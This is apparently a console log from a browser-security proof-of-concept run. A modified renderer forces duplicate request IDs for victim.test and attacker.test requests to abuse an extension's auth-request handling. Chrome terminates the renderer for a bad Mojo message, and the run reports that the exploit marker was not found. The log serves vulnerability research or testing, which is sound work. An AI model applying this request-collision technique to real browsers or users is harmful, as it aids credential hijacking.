[*] starting server.py [*] launching chrome ================ server log ================ [server] listening on 0.0.0.0:18080 [server Thread-2 (process_request_thread)] GET host=page.test path=/poc.html [server Thread-2 (process_request_thread)] GET host=page.test path=/favicon.ico [server Thread-3 (process_request_thread)] GET host=victim.test path=/hang?dupreqid [server Thread-3 (process_request_thread)] victim.test: hanging request /hang?dupreqid ================ chrome log (filtered) ================ [2439:2439:0516/072831.431215:INFO:CONSOLE:10] "[ext] background loaded, registering onAuthRequired for victim.test", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/background.js (10) [2555:2567:0516/072833.633183:ERROR:third_party/blink/renderer/platform/loader/fetch/url_loader/resource_request_sender.cc:288] [POC compromised renderer] forcing request_id=424242 for http://victim.test:18080/hang?dupreqid [2555:2567:0516/072833.834763:ERROR:third_party/blink/renderer/platform/loader/fetch/url_loader/resource_request_sender.cc:288] [POC compromised renderer] forcing request_id=424242 for http://attacker.test:18080/auth?dupreqid [2439:2439:0516/072833.835458:ERROR:content/browser/renderer_host/render_process_host_impl.cc:6237] Terminating render process for bad Mojo message: Received bad user message: WebRequestProxyingURLLoaderFactory: duplicate request_id [-] exploit marker not found